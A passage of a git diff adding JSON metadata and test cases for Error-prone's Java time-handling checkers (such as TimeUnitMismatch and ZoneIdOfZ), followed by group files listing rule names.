com.google.protobuf.Timestamp;\n\n public class TestCase {\n private static final Timestamp TIMESTAMP = Timestamp.getDefaultInstance();\n\n public static void foo() {\n // BUG: Diagnostic contains: ProtoTimestampGetSecondsGetNano\n Runnable r = () -> TIMESTAMP.getNanos();\n long seconds = TIMESTAMP.getSeconds();\n }\n }" + }, + { + "description": "getMessageGetSecondsGetNanos", + "expected-problems": null, + "expected-linenumbers": [ + 407 + ], + "code": "package test;\n\n import com.google.errorprone.bugpatterns.time.Test.DurationTimestamp;\n\n public class TestCase {\n public static void foo(DurationTimestamp durationTimestamp) {\n long seconds = durationTimestamp.getTestTimestamp().getSeconds();\n int nanos = durationTimestamp.getTestTimestamp().getNanos();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/StronglyTypeTime.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/StronglyTypeTime.json new file mode 100644 index 0000000..182ac30 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/StronglyTypeTime.json @@ -0,0 +1,126 @@ +{ + "name": "StronglyTypeTime", + "language": "java", + "description": "This primitive integral type is only used to construct time types. It would be clearer to strongly type the field instead.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 93, + "branches": 1, + "apis": 1, + "test": [ + { + "description": "findingLocatedOnField", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "import java.time.Duration;\n\n class Test {\n // BUG: Diagnostic contains: Duration instances\n private static final long FOO_MILLIS = 100;\n\n public Duration get() {\n return Duration.ofMillis(FOO_MILLIS);\n }\n }" + }, + { + "description": "findingOnBoxedField", + "expected-problems": null, + "expected-linenumbers": [ + 54 + ], + "code": "import java.time.Duration;\n\n class Test {\n // BUG: Diagnostic contains:\n private static final Long FOO_MILLIS = 100L;\n\n public Duration get() {\n return Duration.ofMillis(FOO_MILLIS);\n }\n }" + }, + { + "description": "jodaInstantConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 74 + ], + "code": "import org.joda.time.Instant;\n\n class Test {\n private static final long FOO_MILLIS = 100L;\n\n public Instant get() {\n return new Instant(FOO_MILLIS);\n }\n }\n \n\n import org.joda.time.Instant;\n\n class Test {\n private static final Instant FOO = new Instant(100L);\n\n public Instant get() {\n return FOO;\n }\n }" + }, + { + "description": "jodaInstantStaticFactory", + "expected-problems": null, + "expected-linenumbers": [ + 106 + ], + "code": "import org.joda.time.Instant;\n\n class Test {\n private static final long FOO_MILLIS = 100L;\n\n public Instant get() {\n return Instant.ofEpochMilli(FOO_MILLIS);\n }\n }\n \n\n import org.joda.time.Instant;\n\n class Test {\n private static final Instant FOO = Instant.ofEpochMilli(100L);\n\n public Instant get() {\n return FOO;\n }\n }" + }, + { + "description": "protoTimestamp", + "expected-problems": null, + "expected-linenumbers": [ + 138 + ], + "code": "import com.google.protobuf.Timestamp;\n import com.google.protobuf.util.Timestamps;\n\n class Test {\n private static final long FOO_MILLIS = 100L;\n\n public Timestamp get() {\n return Timestamps.fromMillis(FOO_MILLIS);\n }\n }\n \n\n import com.google.protobuf.Timestamp;\n import com.google.protobuf.util.Timestamps;\n\n class Test {\n private static final Timestamp FOO = Timestamps.fromMillis(100L);\n\n public Timestamp get() {\n return FOO;\n }\n }" + }, + { + "description": "fieldQualifiedByThis", + "expected-problems": null, + "expected-linenumbers": [ + 172 + ], + "code": "import java.time.Duration;\n\n class Test {\n // BUG: Diagnostic contains:\n private final long fooMillis = 100;\n\n public Duration get() {\n return Duration.ofMillis(this.fooMillis);\n }\n }" + }, + { + "description": "notInitializedInline_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 192 + ], + "code": "import java.time.Duration;\n\n class Test {\n private static final long FOO_MILLIS;\n\n static {\n FOO_MILLIS = 100;\n }\n\n public Duration get() {\n return Duration.ofMillis(FOO_MILLIS);\n }\n }" + }, + { + "description": "refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 215 + ], + "code": "import java.time.Duration;\n\n class Test {\n private final long FOO_MILLIS = 100;\n\n public Duration get() {\n return Duration.ofMillis(FOO_MILLIS);\n }\n }\n \n\n import java.time.Duration;\n\n class Test {\n private final Duration FOO = Duration.ofMillis(100);\n\n public Duration get() {\n return FOO;\n }\n }" + }, + { + "description": "fieldRenaming", + "expected-problems": null, + "expected-linenumbers": [ + 247 + ], + "code": "import java.time.Duration;\n\n class Test {\n private final long FOO_MILLIS = 100;\n private final long BAR_IN_MILLIS = 100;\n private final long BAZ_MILLI = 100;\n\n public Duration foo() {\n return Duration.ofMillis(FOO_MILLIS);\n }\n\n public Duration bar() {\n return Duration.ofMillis(BAR_IN_MILLIS);\n }\n\n public Duration baz() {\n return Duration.ofMillis(BAZ_MILLI);\n }\n }\n \n\n import java.time.Duration;\n\n class Test {\n private final Duration FOO = Duration.ofMillis(100);\n private final Duration BAR = Duration.ofMillis(100);\n private final Duration BAZ = Duration.ofMillis(100);\n\n public Duration foo() {\n return FOO;\n }\n\n public Duration bar() {\n return BAR;\n }\n\n public Duration baz() {\n return BAZ;\n }\n }" + }, + { + "description": "variableUsedInOtherWays_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 299 + ], + "code": "import java.time.Duration;\n\n class Test {\n private final long FOO_MILLIS = 100;\n\n public Duration get() {\n return Duration.ofMillis(FOO_MILLIS);\n }\n\n public long frobnicate() {\n return FOO_MILLIS + 1;\n }\n }" + }, + { + "description": "fieldNotPrivate_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 322 + ], + "code": "import java.time.Duration;\n\n class Test {\n final long FOO_MILLIS = 100;\n\n public Duration get() {\n return Duration.ofMillis(FOO_MILLIS);\n }\n }" + }, + { + "description": "unusedField_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 341 + ], + "code": "import java.io.Serializable;\n\n class Test implements Serializable {\n private static final long serialVersionUID = 1L;\n }" + }, + { + "description": "whenJodaAndJavaInstantUsed_fullyQualifiesName", + "expected-problems": null, + "expected-linenumbers": [ + 357 + ], + "code": "import java.time.Instant;\n\n class Test {\n private static final long FOO_MILLIS = 100L;\n private static final Instant INSTANT = null;\n\n public org.joda.time.Instant get() {\n return new org.joda.time.Instant(FOO_MILLIS);\n }\n }\n \n\n import java.time.Instant;\n\n class Test {\n private static final org.joda.time.Instant FOO = new org.joda.time.Instant(100L);\n private static final Instant INSTANT = null;\n\n public org.joda.time.Instant get() {\n return FOO;\n }\n }" + }, + { + "description": "milliseconds", + "expected-problems": null, + "expected-linenumbers": [ + 391 + ], + "code": "import java.time.Duration;\n\n class Test {\n private static final long F1_RETRY_MILLISECONDS = 5000;\n\n public Duration frobber() {\n return Duration.ofMillis(F1_RETRY_MILLISECONDS);\n }\n }\n \n\n import java.time.Duration;\n\n class Test {\n private static final Duration F1_RETRY = Duration.ofMillis(5000);\n\n public Duration frobber() {\n return F1_RETRY;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/TemporalAccessorGetChronoField.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/TemporalAccessorGetChronoField.json new file mode 100644 index 0000000..72ab441 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/TemporalAccessorGetChronoField.json @@ -0,0 +1,54 @@ +{ + "name": "TemporalAccessorGetChronoField", + "language": "java", + "description": "TemporalAccessor.get() only works for certain values of ChronoField.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 155, + "branches": 13, + "apis": 2, + "test": [ + { + "description": "temporalAccessor_getLong_noStaticImport", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "import static java.time.DayOfWeek.MONDAY;\n import java.time.temporal.ChronoField;\n\n public class TestClass {\n private static final long value1 = MONDAY.getLong(ChronoField.DAY_OF_WEEK);\n // BUG: Diagnostic contains: TemporalAccessorGetChronoField\n private static final long value2 = MONDAY.getLong(ChronoField.NANO_OF_DAY);\n }" + }, + { + "description": "temporalAccessor_getLong_staticImport", + "expected-problems": null, + "expected-linenumbers": [ + 47 + ], + "code": "import static java.time.DayOfWeek.MONDAY;\n import static java.time.temporal.ChronoField.DAY_OF_WEEK;\n import static java.time.temporal.ChronoField.NANO_OF_DAY;\n\n public class TestClass {\n private static final long value1 = MONDAY.getLong(DAY_OF_WEEK);\n // BUG: Diagnostic contains: TemporalAccessorGetChronoField\n private static final long value2 = MONDAY.getLong(NANO_OF_DAY);\n }" + }, + { + "description": "temporalAccessor_get_noStaticImport", + "expected-problems": null, + "expected-linenumbers": [ + 66 + ], + "code": "import static java.time.DayOfWeek.MONDAY;\n import java.time.temporal.ChronoField;\n\n public class TestClass {\n private static final int value1 = MONDAY.get(ChronoField.DAY_OF_WEEK);\n // BUG: Diagnostic contains: TemporalAccessorGetChronoField\n private static final int value2 = MONDAY.get(ChronoField.NANO_OF_DAY);\n }" + }, + { + "description": "temporalAccessor_get_staticImport", + "expected-problems": null, + "expected-linenumbers": [ + 84 + ], + "code": "import static java.time.DayOfWeek.MONDAY;\n import static java.time.temporal.ChronoField.DAY_OF_WEEK;\n import static java.time.temporal.ChronoField.NANO_OF_DAY;\n\n public class TestClass {\n private static final int value1 = MONDAY.get(DAY_OF_WEEK);\n // BUG: Diagnostic contains: TemporalAccessorGetChronoField\n private static final int value2 = MONDAY.get(NANO_OF_DAY);\n }" + }, + { + "description": "temporalAccessor_realCode", + "expected-problems": null, + "expected-linenumbers": [ + 103 + ], + "code": "import static java.time.temporal.ChronoField.MICRO_OF_SECOND;\n import static java.time.temporal.ChronoField.DAY_OF_WEEK;\n import java.time.Instant;\n\n public class TestClass {\n private static final int value1 = Instant.now().get(MICRO_OF_SECOND);\n private static final long value2 = Instant.now().getLong(MICRO_OF_SECOND);\n // BUG: Diagnostic contains: TemporalAccessorGetChronoField\n private static final int value3 = Instant.now().get(DAY_OF_WEEK);\n // BUG: Diagnostic contains: TemporalAccessorGetChronoField\n private static final long value4 = Instant.now().getLong(DAY_OF_WEEK);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/TimeInStaticInitializer.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/TimeInStaticInitializer.json new file mode 100644 index 0000000..0b346cf --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/TimeInStaticInitializer.json @@ -0,0 +1,38 @@ +{ + "name": "TimeInStaticInitializer", + "language": "java", + "description": "Accessing the current time in a static initialiser captures the time at class loading, which is rarely desirable.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 113, + "branches": 5, + "apis": 2, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 28 + ], + "code": "import java.time.Instant;\n\n class Test {\n // BUG: Diagnostic contains:\n private static final Instant NOW = Instant.now();\n }" + }, + { + "description": "negative_instanceField", + "expected-problems": null, + "expected-linenumbers": [ + 44 + ], + "code": "import java.time.Instant;\n\n class Test {\n private final Instant now = Instant.now();\n }" + }, + { + "description": "negative_inMethod", + "expected-problems": null, + "expected-linenumbers": [ + 59 + ], + "code": "import java.time.Instant;\n\n class Test {\n public static Instant now() {\n return Instant.now();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/TimeUnitConversionChecker.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/TimeUnitConversionChecker.json new file mode 100644 index 0000000..5c7b258 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/TimeUnitConversionChecker.json @@ -0,0 +1,102 @@ +{ + "name": "TimeUnitConversionChecker", + "language": "java", + "description": "This TimeUnit conversion looks buggy: converting from a smaller unit to a larger unit (and passing a constant), converting to/from the same TimeUnit, or converting TimeUnits where the result is statically known to be 0 or 1 are all buggy patterns.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 124, + "branches": 29, + "apis": 4, + "test": [ + { + "description": "literalConvertToSelf", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "import java.util.concurrent.TimeUnit;\n\n public class TestClass {\n // BUG: Diagnostic contains: private long value = 42L /* milliseconds */;\n private long value = TimeUnit.MILLISECONDS.toMillis(42);\n }" + }, + { + "description": "literalConvertToSelf_withStaticImport", + "expected-problems": null, + "expected-linenumbers": [ + 45 + ], + "code": "import static java.util.concurrent.TimeUnit.MILLISECONDS;\n\n public class TestClass {\n // BUG: Diagnostic contains: private long value = 42L /* milliseconds */;\n private long value = MILLISECONDS.toMillis(42);\n }" + }, + { + "description": "variableConvertToSelf_withStaticImport", + "expected-problems": null, + "expected-linenumbers": [ + 61 + ], + "code": "import static java.util.concurrent.TimeUnit.MILLISECONDS;\n\n public class TestClass {\n private long toConvert = 42;\n // BUG: Diagnostic contains: private long value = toConvert /* milliseconds */;\n private long value = MILLISECONDS.toMillis(toConvert);\n }" + }, + { + "description": "expressionEvaluatesToZero", + "expected-problems": null, + "expected-linenumbers": [ + 78 + ], + "code": "import java.util.concurrent.TimeUnit;\n\n public class TestClass {\n // BUG: Diagnostic contains: private static final long VALUE1 = 0L /* seconds */;\n private static final long VALUE1 = TimeUnit.MILLISECONDS.toSeconds(4);\n // BUG: Diagnostic contains: private static final long VALUE2 = 0L /* seconds */;\n private static final long VALUE2 = TimeUnit.MILLISECONDS.toSeconds(400);\n }" + }, + { + "description": "expressionEvaluatesToZero_withStaticImport", + "expected-problems": null, + "expected-linenumbers": [ + 96 + ], + "code": "import static java.util.concurrent.TimeUnit.MILLISECONDS;\n\n public class TestClass {\n // BUG: Diagnostic contains: private static final long VALUE1 = 0L /* seconds */;\n private static final long VALUE1 = MILLISECONDS.toSeconds(4);\n // BUG: Diagnostic contains: private static final long VALUE2 = 0L /* seconds */;\n private static final long VALUE2 = MILLISECONDS.toSeconds(400);\n }" + }, + { + "description": "expressionEvaluatesToOne", + "expected-problems": null, + "expected-linenumbers": [ + 114 + ], + "code": "import java.util.concurrent.TimeUnit;\n\n public class TestClass {\n // BUG: Diagnostic contains: private static final long VALUE1 = 1L /* seconds */;\n private static final long VALUE1 = TimeUnit.MILLISECONDS.toSeconds(1000);\n // BUG: Diagnostic contains: private static final long VALUE2 = 1L /* seconds */;\n private static final long VALUE2 = TimeUnit.MILLISECONDS.toSeconds(1999);\n }" + }, + { + "description": "expressionEvaluatesToNegativeOne", + "expected-problems": null, + "expected-linenumbers": [ + 132 + ], + "code": "import java.util.concurrent.TimeUnit;\n\n public class TestClass {\n // BUG: Diagnostic contains: TimeUnitConversionChecker\n private static final long VALUE1 = TimeUnit.MILLISECONDS.toSeconds(-1000);\n // BUG: Diagnostic contains: TimeUnitConversionChecker\n private static final long VALUE2 = TimeUnit.MILLISECONDS.toSeconds(-1999);\n }" + }, + { + "description": "expressionEvaluatesToLargeNumber", + "expected-problems": null, + "expected-linenumbers": [ + 150 + ], + "code": "import java.util.concurrent.TimeUnit;\n\n public class TestClass {\n // BUG: Diagnostic contains: TimeUnitConversionChecker\n private static final long VALUE1 = TimeUnit.MILLISECONDS.toSeconds(4321);\n // BUG: Diagnostic contains: TimeUnitConversionChecker\n private static final long VALUE2 = TimeUnit.MILLISECONDS.toSeconds(-4321);\n }" + }, + { + "description": "expressionEvaluatesToLargeNumber_withStaticImport", + "expected-problems": null, + "expected-linenumbers": [ + 168 + ], + "code": "import static java.util.concurrent.TimeUnit.MILLISECONDS;\n\n public class TestClass {\n // BUG: Diagnostic contains: TimeUnitConversionChecker\n private static final long VALUE1 = MILLISECONDS.toSeconds(4321);\n // BUG: Diagnostic contains: TimeUnitConversionChecker\n private static final long VALUE2 = MILLISECONDS.toSeconds(-4321);\n }" + }, + { + "description": "largeUnitToSmallUnit_succeeds", + "expected-problems": null, + "expected-linenumbers": [ + 186 + ], + "code": "import static java.util.concurrent.TimeUnit.SECONDS;\n\n public class TestClass {\n private static final long VALUE1 = SECONDS.toMillis(4321);\n private static final long VALUE2 = SECONDS.toMillis(-4321);\n }" + }, + { + "description": "receiverExpression", + "expected-problems": null, + "expected-linenumbers": [ + 202 + ], + "code": "import java.util.concurrent.TimeUnit;\n\n public class TestClass {\n long f(TimeUnit timeUnit, long time) {\n return (timeUnit != null ? timeUnit : TimeUnit.MILLISECONDS).toMillis(time);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/TimeUnitMismatch.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/TimeUnitMismatch.json new file mode 100644 index 0000000..b69b7cc --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/TimeUnitMismatch.json @@ -0,0 +1,78 @@ +{ + "name": "TimeUnitMismatch", + "language": "java", + "description": "An value that appears to be represented in one unit is used where another appears to be required (e.g., seconds where nanos are needed)", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 654, + "branches": 83, + "apis": 31, + "test": [ + { + "description": "testPositiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 43 + ], + "code": "package com.google.errorprone.bugpatterns.time.testdata;\n\n import static java.util.concurrent.TimeUnit.NANOSECONDS;\n\n import java.util.Optional;\n\n /**\n * @author cpovirk@google.com (Chris Povirk)\n */\n public class TimeUnitMismatchPositiveCases {\n int startMicros;\n int stopMillis;\n\n void fields() {\n // BUG: Diagnostic contains: expected microseconds but was milliseconds\n startMicros = stopMillis;\n\n // BUG: Diagnostic contains: If it instead means microseconds\n startMicros = stopMillis;\n\n // BUG: Diagnostic contains: MILLISECONDS.toMicros(stopMillis)\n startMicros = stopMillis;\n }\n\n void memberSelect() {\n // BUG: Diagnostic contains: expected microseconds but was milliseconds\n this.startMicros = this.stopMillis;\n }\n\n void locals() {\n int millis = 0;\n // BUG: Diagnostic contains: expected microseconds but was milliseconds\n startMicros = millis;\n }\n\n long getMicros() {\n return 0;\n }\n\n void returns() {\n // BUG: Diagnostic contains: expected nanoseconds but was microseconds\n long fooNano = getMicros();\n }\n\n void doSomething(double startSec, double endSec) {}\n\n void setMyMillis(int timeout) {}\n\n void args() {\n double ms = 0;\n double ns = 0;\n // BUG: Diagnostic contains: expected seconds but was milliseconds\n doSomething(ms, ns);\n // BUG: Diagnostic contains: expected seconds but was nanoseconds\n doSomething(ms, ns);\n\n // BUG: Diagnostic contains: expected milliseconds but was nanoseconds\n setMyMillis((int) ns);\n }\n\n void timeUnit() {\n int micros = 0;\n // BUG: Diagnostic contains: expected nanoseconds but was microseconds\n NANOSECONDS.toMillis(micros);\n }\n\n class Foo {\n Foo(long seconds) {}\n }\n\n void constructor() {\n int nanos = 0;\n // BUG: Diagnostic contains: expected seconds but was nanoseconds\n new Foo(nanos);\n }\n\n void boxed() {\n Long nanos = 0L;\n // BUG: Diagnostic contains: expected milliseconds but was nanoseconds\n long millis = nanos;\n }\n\n void optionalGet() {\n Optional maybeNanos = Optional.of(0L);\n // BUG: Diagnostic contains: expected milliseconds but was nanoseconds\n long millis = maybeNanos.get();\n }\n }\\" + }, + { + "description": "testNegativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 141 + ], + "code": "package com.google.errorprone.bugpatterns.time.testdata;\n\n import static java.util.concurrent.TimeUnit.NANOSECONDS;\n\n import java.util.Optional;\n\n /**\n * @author cpovirk@google.com (Chris Povirk)\n */\n public class TimeUnitMismatchNegativeCases {\n static final int THE_MILLIS = 0;\n int startMillis;\n int stopMillis;\n\n void fields() {\n startMillis = THE_MILLIS;\n\n startMillis = stopMillis;\n }\n\n void memberSelect() {\n this.startMillis = this.stopMillis;\n }\n\n void locals() {\n int millis = 0;\n startMillis = millis;\n }\n\n long getMicros() {\n return 0;\n }\n\n void returns() {\n long fooUs = getMicros();\n }\n\n void doSomething(double startSec, double endSec) {}\n\n void args() {\n double seconds = 0;\n doSomething(seconds, seconds);\n }\n\n void timeUnit() {\n int nanos = 0;\n NANOSECONDS.toMillis(nanos);\n }\n\n class Foo {\n Foo(long seconds) {}\n }\n\n void constructor() {\n int seconds = 0;\n new Foo(seconds);\n }\n\n String milliseconds() {\n return \"0\";\n }\n\n void nonNumeric() {\n String seconds = milliseconds();\n }\n\n void boxed() {\n Long startNanos = 0L;\n long endNanos = startNanos;\n }\n\n void optionalGet() {\n Optional maybeNanos = Optional.of(0L);\n long nanos = maybeNanos.get();\n }\n }\\" + }, + { + "description": "mismatchedTypeAfterManualConversion", + "expected-problems": null, + "expected-linenumbers": [ + 227 + ], + "code": "class Test {\n // BUG: Diagnostic contains: MICROSECONDS.toMillis(getMicros())\n long fooMillis = getMicros() * 1000;\n // BUG: Diagnostic contains: MICROSECONDS.toMillis(getMicros())\n long barMillis = 1000 * getMicros();\n // BUG: Diagnostic contains:\n long fooNanos = getMicros() / 1000;\n // BUG: Diagnostic contains: SECONDS.toNanos(getSeconds())\n long barNanos = getSeconds() * 1000 * 1000;\n\n long getMicros() {\n return 1;\n }\n\n long getSeconds() {\n return 1;\n }\n\n void setMillis(long x) {}\n\n void test(int timeMicros) {\n // BUG: Diagnostic contains:\n setMillis(timeMicros * 1000);\n }\n }" + }, + { + "description": "noopConversion_isRemoved", + "expected-problems": null, + "expected-linenumbers": [ + 262 + ], + "code": "class Test {\n long fooMicros = getMicros() * 1000;\n\n long getMicros() {\n return 1;\n }\n }\n \n\n class Test {\n long fooMicros = getMicros();\n\n long getMicros() {\n return 1;\n }\n }" + }, + { + "description": "zeroMultiplier_noComplaint", + "expected-problems": null, + "expected-linenumbers": [ + 290 + ], + "code": "class Test {\n static int MILLIS_PER_MINUTE = 42;\n long fooMicros = 0 * MILLIS_PER_MINUTE;\n }" + }, + { + "description": "matchedTypeAfterManualConversion", + "expected-problems": null, + "expected-linenumbers": [ + 304 + ], + "code": "class Test {\n long fooNanos = getMicros() * 1000;\n long fooMillis = getMicros() / 1000;\n\n long getMicros() {\n return 1;\n }\n }" + }, + { + "description": "binaryTree", + "expected-problems": null, + "expected-linenumbers": [ + 322 + ], + "code": "abstract class Test {\n abstract long getStartMillis();\n\n abstract long getEndMillis();\n\n abstract long getStartNanos();\n\n abstract long getEndNanos();\n\n void test() {\n var b1 = getStartMillis() < getEndMillis();\n var b2 = getStartNanos() + getEndNanos();\n // BUG: Diagnostic contains: MILLISECONDS.toNanos(getStartMillis()) < getEndNanos()\n var b3 = getStartMillis() < getEndNanos();\n // BUG: Diagnostic contains: MILLISECONDS.toNanos(getStartMillis()) + getEndNanos()\n var b4 = getStartMillis() + getEndNanos();\n // BUG: Diagnostic contains: MILLISECONDS.toNanos(getStartMillis()) + getEndNanos()\n var b5 = getStartMillis() * 1000 + getEndNanos();\n var b6 = getStartMillis() * 1_000_000 + getEndNanos();\n }\n }" + }, + { + "description": "testUnitSuggestedByName", + "expected-problems": null, + "expected-linenumbers": [ + 353 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/ZoneIdOfZ.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/ZoneIdOfZ.json new file mode 100644 index 0000000..f89b2b3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/ZoneIdOfZ.json @@ -0,0 +1,54 @@ +{ + "name": "ZoneIdOfZ", + "language": "java", + "description": "Use ZoneOffset.UTC instead of ZoneId.of(\\", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 63, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "zoneIdOfNyc", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "import java.time.ZoneId;\n\n public class TestClass {\n private static final ZoneId NYC = ZoneId.of(\"America/New_York\");\n }" + }, + { + "description": "zoneIdOfZ", + "expected-problems": null, + "expected-linenumbers": [ + 44 + ], + "code": "import java.time.ZoneId;\n\n public class TestClass {\n // BUG: Diagnostic contains: private static final ZoneId UTC = ZoneOffset.UTC;\n private static final ZoneId UTC = ZoneId.of(\"Z\");\n }" + }, + { + "description": "zoneIdOfLowerCaseZ", + "expected-problems": null, + "expected-linenumbers": [ + 60 + ], + "code": "import java.time.ZoneId;\n\n public class TestClass {\n private static final ZoneId UTC = ZoneId.of(\"z\");\n }" + }, + { + "description": "zoneIdOfConstant", + "expected-problems": null, + "expected-linenumbers": [ + 75 + ], + "code": "import java.time.ZoneId;\n\n public class TestClass {\n private static final String ZONE = \"Z\";\n // BUG: Diagnostic contains: private static final ZoneId UTC = ZoneOffset.UTC;\n private static final ZoneId UTC = ZoneId.of(ZONE);\n }" + }, + { + "description": "zoneIdOfNonConstant", + "expected-problems": null, + "expected-linenumbers": [ + 92 + ], + "code": "import java.time.ZoneId;\n\n public class TestClass {\n private String zone = \"z\";\n private ZoneId utc = ZoneId.of(zone);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/android.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/android.json new file mode 100644 index 0000000..14e396b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/android.json @@ -0,0 +1,17 @@ +{ + "name": "android", + "description": null, + "rules": [ + "BinderIdentityRestoredDangerously", + "BundleDeserializationCast", + "FragmentInjection", + "FragmentNotInstantiable", + "HardCodedSdCardPath", + "IsLoggableTagLength", + "MislabeledAndroidString", + "ParcelableCreator", + "RectIntersectReturnValueIgnored", + "StaticOrDefaultInterfaceMethod", + "WakelockReleasedDangerously" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/apidiff.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/apidiff.json new file mode 100644 index 0000000..ff18214 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/apidiff.json @@ -0,0 +1,8 @@ +{ + "name": "apidiff", + "description": null, + "rules": [ + "AndroidJdkLibsChecker", + "Java8ApiChecker" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/argumentselectiondefects.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/argumentselectiondefects.json new file mode 100644 index 0000000..4cdfa03 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/argumentselectiondefects.json @@ -0,0 +1,9 @@ +{ + "name": "argumentselectiondefects", + "description": null, + "rules": [ + "ArgumentSelectionDefectChecker", + "AssertEqualsArgumentOrderChecker", + "AutoValueConstructorOrderChecker" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/bugpatterns.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/bugpatterns.json new file mode 100644 index 0000000..f0e87c9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/bugpatterns.json @@ -0,0 +1,454 @@ +{ + "name": "bugpatterns", + "description": null, + "rules": [ + "AddressSelection", + "AlreadyChecked", + "AlwaysThrows", + "AmbiguousMethodReference", + "AnnotationMirrorToString", + "AnnotationPosition", + "AnnotationValueToString", + "ArrayAsKeyOfSetOrMap", + "ArrayEquals", + "ArrayFillIncompatibleType", + "ArrayHashCode", + "ArrayRecordComponent", + "ArraysAsListPrimitiveArray", + "ArrayToString", + "AssertFalse", + "AssertionFailureIgnored", + "AssertThrowsMultipleStatements", + "AssignmentExpression", + "ASTHelpersSuggestions", + "AsyncCallableReturnsNull", + "AsyncFunctionReturnsNull", + "AttemptedNegativeZero", + "AutoValueBoxedValues", + "AutoValueBuilderDefaultsInConstructor", + "AutoValueFinalMethods", + "AutoValueImmutableFields", + "AutoValueSubclassLeaked", + "AvoidObjectArrays", + "BadAnnotationImplementation", + "BadComparable", + "BadImport", + "BadInstanceof", + "BadShiftAmount", + "BanClassLoader", + "BanJNDI", + "BanSerializableRead", + "BareDotMetacharacter", + "BigDecimalEquals", + "BigDecimalLiteralDouble", + "BooleanLiteral", + "BooleanParameter", + "BoxedPrimitiveConstructor", + "BoxedPrimitiveEquality", + "BugPatternNaming", + "ByteBufferBackingArray", + "CacheLoaderNull", + "CannotMockFinalClass", + "CannotMockMethod", + "CanonicalDuration", + "CatchAndPrintStackTrace", + "CatchFail", + "CatchingUnchecked", + "ChainedAssertionLosesContext", + "ChainingConstructorIgnoresParameter", + "CharacterGetNumericValue", + "CheckedExceptionNotThrown", + "CheckNotNullMultipleTimes", + "CheckReturnValue", + "ClassCanBeStatic", + "ClassInitializationDeadlock", + "ClassName", + "ClassNamedLikeTypeParameter", + "ClassNewInstance", + "ClosingStandardOutputStreams", + "CollectionToArraySafeParameter", + "CollectorShouldNotUseState", + "ComparableAndComparator", + "ComparableType", + "CompareToZero", + "ComparingThisWithNull", + "ComparisonContractViolated", + "ComparisonOutOfRange", + "CompileTimeConstantChecker", + "ComplexBooleanConstant", + "ComputeIfAbsentAmbiguousReference", + "ConditionalExpressionNumericPromotion", + "ConstantField", + "ConstantOverflow", + "ConstantPatternCompile", + "DangerousLiteralNullChecker", + "DateFormatConstant", + "DeadException", + "DeadThread", + "DeduplicateConstants", + "DeeplyNested", + "DefaultCharset", + "DefaultLocale", + "DefaultPackage", + "DepAnn", + "DeprecatedVariable", + "DifferentNameButSame", + "DirectInvocationOnMock", + "DiscardedPostfixExpression", + "DistinctVarargsChecker", + "DoNotCallChecker", + "DoNotCallSuggester", + "DoNotClaimAnnotations", + "DoNotMockAutoValue", + "DoNotMockChecker", + "DoubleBraceInitialization", + "DuplicateBranches", + 